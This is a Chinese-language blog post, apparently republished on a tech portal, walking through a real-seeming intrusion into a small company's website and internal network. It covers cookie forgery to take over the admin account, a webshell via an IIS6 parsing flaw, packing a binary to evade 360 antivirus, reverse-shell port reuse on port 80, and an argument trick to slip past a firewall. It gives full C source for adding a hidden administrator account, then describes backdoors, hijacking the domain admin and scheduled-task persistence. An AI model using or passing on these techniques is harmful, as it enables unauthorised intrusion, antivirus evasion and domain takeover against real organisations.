获取webshell到内网渗透一条龙

安全 黑客攻防
首先我的目标站是一个小型的工作室公司。比较小,网站是asp cms的asp有一个漏洞。我们首先去注册一个用户,然后我们利用谷歌cookie修改插件 我们把值修改为admin,将ID的值修改为1.这样我们就可以来修改admin的密码了。

首先我的目标站是一个小型的工作室公司。比较小,网站是asp cms的asp有一个漏洞。我们首先去注册一个用户,然后我们利用谷歌cookie修改插件 我们把值修改为admin,将ID的值修改为1.这样我们就可以来修改admin的密码了。

获取webshell到内网渗透一条龙 

获取webshell到内网渗透一条龙 

获取webshell到内网渗透一条龙

Aspcms拿shell就不写了 模板修改 利用iis6解析漏洞。

获取webshell到内网渗透一条龙

我们来执行一下net user 看一下用户。不成功缺少组建。明显做了手脚。

获取webshell到内网渗透一条龙

再一看发现了360杀毒软件。我不解为什么这么服务器安装360呢?

这样呢我们需要反弹一个shell,但是这个shell功能太渣渣。木有这个功能。还有一个问题就是,这个服务器只对外开放了80端口,其他的端口没有开放。且换了个webshell去反弹shell时无法得到回话。这样的话我们就无法得到反弹的shell。但是我们是不是就不能反弹了呢?不然。我们可以来进行端口复用,也就是说我们反弹的shell也通过80端口、所以我们要用个小程序。但是貌似不免杀。我们来免杀一下。免杀360我基本就是加个壳改一下就ok了。好几年不做免杀,这方面都忘记了。

获取webshell到内网渗透一条龙

随便找了个壳加了一下,我们把JBE 改为JA 。

获取webshell到内网渗透一条龙

Good,上传到服务器运行一下

获取webshell到内网渗透一条龙 

接下来就是端口服用了。我们本地监听80.然后发一个数据包到服务器。获得shell

突破360防黑墙我们来添加一个用户。/add 与/ad的性质是一样的。所以我们直接/ad添加 不拦截。当然 你也可以编译一下C代码

//Code by Pnig0s1992

//Date:2012,3,17

#include <stdio.h>

#include <Windows.h>

#include <lm.h>

#pragma comment(lib,”Netapi32.lib”)

int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);

int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);

BOOL ImprovePriv(LPWSTR name);

int main(INT argc,char * argv[])

{

BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);

if(argc < 3)

{

printf(“\nCode by Pnig0s1992″);

printf(“\nUsage:”);

printf(“\n\t%s UserName Password”,argv[0]);

printf(“\n\tRemark:Default add to Group:Administrators.”);

return -1;

}

if(bResult)

{

printf(“Successfully promote priv!”);

}else

{

printf(“Failed promote priv.”);

return -1;

}

int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);

wchar_t *wUserName =new wchar_t[Namesize+1];

if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))

{

return false;

}

int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);

wchar_t *wPassword =new wchar_t[Passsize+1];

if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))

{

return false;

}

LPTSTR lpName = wUserName;

LPTSTR lpPassword = wPassword;

LPWSTR lpSevName = NULL;

LPWSTR lpGroupName = L”Administrators”;

AddUser(lpName,lpPassword,lpSevName);

SetGroup(lpName,lpSevName,lpGroupName);

return 0;

}

BOOL ImprovePriv(LPWSTR name)

{

HANDLE hToken;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))

{

printf(“\nGet process token failed.(%d)”,GetLastError());

return FALSE;

}

TOKEN_PRIVILEGES tkp;

tkp.PrivilegeCount = 1;

if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))

{

printf(“\nLookup process priv failed.(%d)”,GetLastError());

return FALSE;

}

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))

{

printf(“\nAjust process priv failed.(%d)”,GetLastError());

return FALSE;

}

CloseHandle(hToken);

return TRUE;

}

int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)

{

USER_INFO_1 ui;

DWORD dwLevel = 1;

DWORD dwError = 0;

NET_API_STATUS nStatus;

ui.usri1_name = lpUsername;

ui.usri1_password = lpPassword;

ui.usri1_priv = USER_PRIV_USER;

ui.usri1_home_dir = NULL;

ui.usri1_comment = NULL;

ui.usri1_flags = UF_SCRIPT;

ui.usri1_script_path = NULL;

nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);

if(nStatus == NERR_Success)

{

printf(“\nAdd user:%S successfully!”,lpUsername);

}else

{

printf(“\nAdd user failed:%d.”,nStatus);

}

return 0;

}

int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)

{

NET_API_STATUS nStatus;

LOCALGROUP_MEMBERS_INFO_3 lgui;

lgui.lgrmi3_domainandname = lpUsername;

nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);

if(nStatus == NERR_Success)

{

printf(“\nSuccessfully set USER:%S to GROUP:%S!”,lpUsername,lpGroupName);

}else if(nStatus == NERR_GroupNotFound)

{

printf(“\nCan’t find such a group:%S.”,lpGroupName);

}else

{

printf(“\nSet GROUP:%S failed.”,lpGroupName);

}

return 0;

}

恩。。好我们继续

有了一个用户 我们去嗅探。但是很可惜。啥子都没有。

既然没办法 拿咱就在内网渗透上想想办法

获取webshell到内网渗透一条龙

我们先生成一个windows可执行后门

然后我们调用模块来监听,获得一个会话

获取webshell到内网渗透一条龙 

获取webshell到内网渗透一条龙

下面我们进行内网渗透,调用一个模块

获取webshell到内网渗透一条龙

然后我们查看一下域,找到域管理

获取webshell到内网渗透一条龙

我们来劫持域管理

获取webshell到内网渗透一条龙

获得shell然后我们再来查看一下域

获取webshell到内网渗透一条龙

我们获得域管理的时间 

获取webshell到内网渗透一条龙

然后我们计划任务 2分钟之后执行我们的后门程序

获取webshell到内网渗透一条龙

Ok 获得会话。然后域控你有了,你懂的

责任编辑:蓝雨泪 来源: yuyi.me
相关推荐

2013-09-13 09:58:49

2013-12-27 09:00:27

编程语言

2011-05-24 16:04:34

打印机技巧

2011-06-17 15:16:46

打印机技巧

2021-12-28 10:51:32

自动驾驶技术安全

2020-06-10 16:32:43

百度谷歌老照片修复

2020-04-20 17:16:58

Python数据处理

2020-07-16 13:00:18

人工智能机器学习技术

2022-12-31 18:22:23

2020-07-20 09:49:56

开源技术 趋势

2021-08-27 10:04:53

机器人

2013-04-12 13:21:44

2013-04-18 17:07:36

2022-10-25 14:01:46

AI游戏

2024-04-19 07:31:58

MySQL数据库

2022-07-13 08:49:27

DevOpsKubeSphere

2024-09-09 14:50:00

数据训练

2020-12-30 10:38:41

Web安全内网工具

2017-03-13 14:34:53

2012-11-28 14:09:41

点赞
收藏

51CTO技术栈公众号